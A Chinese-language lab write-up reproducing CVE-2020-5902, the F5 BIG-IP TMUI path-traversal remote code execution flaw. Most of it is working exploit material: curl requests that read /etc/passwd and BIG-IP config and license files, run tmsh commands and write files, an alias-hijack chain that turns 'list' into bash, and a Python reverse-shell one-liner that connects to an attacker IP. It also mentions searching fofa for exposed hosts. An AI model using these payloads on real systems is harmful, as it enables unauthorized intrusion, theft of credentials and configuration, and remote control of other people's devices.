漏洞简介
F5 BIG-IP 是美国``F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。 在F5 BIG-IP产品的流量管理用户页面 (TMUI)/配置程序的特定页面中存在一处远程代码执行漏洞,导致可以未授权访问TMUI模块所有功能(包括未公开功能),漏洞影响范围包括执行任意系统命令、任意文件读取、任意文件写入、开启/禁用服务等。
搭建环境
直接再F5官网下载即可:(先去注册)
https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v11.x&ver=11.6.4
下载好直接导入虚拟机即可。
其他配置和搭建虚拟机一样。
使用默认密码: root-default登录(linux下输密码不显示)(然后需要你修改密码,否则不行)
配置ip地址 输入 config
配置ip,其实不用配置也想,弄个NAT就可以了。主要是网卡较多。
漏洞复现
访问管理员页面
https://192.168.110.151/tmui/login.jsp
利用poc进行测试利用
RCE: curl -v -k 'https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin' Read File: curl -v -k 'https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
Read File: https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf RCE: https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin List File: https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
在执行命令时发现权限不足,不知为何,现在也没研究出来,用fofa搜索的也是权限不足,执行不了Tmsh命令(list相当于bash命令),一开始不知的我,以为这个命令可以执行linux命令。所以就尝试了,whoami
哈哈哈,菜鸡的我,怎么会想到这个,打自己一巴掌。
尝试写文件:(测试下面如何拿到反弹shell的)
尝试写入:(在靶机上面写) curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/success&content=CVE-2020-5902" "https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp" 读取 https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/success"
访问发现已经改变了。
获取shell
1、修改alias劫持list命令为bash https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash 2、写入文件:bash文件 https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=id 3、执行bash文件 https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test 4. 还原list命令 https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
还是权限不足,太难了。
直接用靶机进行配置。
还是不行。
算了算了,我低头了。
下一步,说如何反弹shell吧。
来一道py反弹shell:(是一句话,为了方便我空格了)
https://192.168.110.151/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.151',7777));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
用一个机器监听端口
在执行下面命令,别人的shell就掌握手中了。
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test
我的不行,权限问题。在此请求大佬们多多给建议,让我跟着大佬们脚步继续前进。
参考链接:
https://zhuanlan.zhihu.com/p/161674340 https://www.cnblogs.com/twosmi1e/p/13290290.html https://www.cnblogs.com/zzjdbk/p/13290086.html https://blog.csdn.net/wuyou1995/article/details/107170186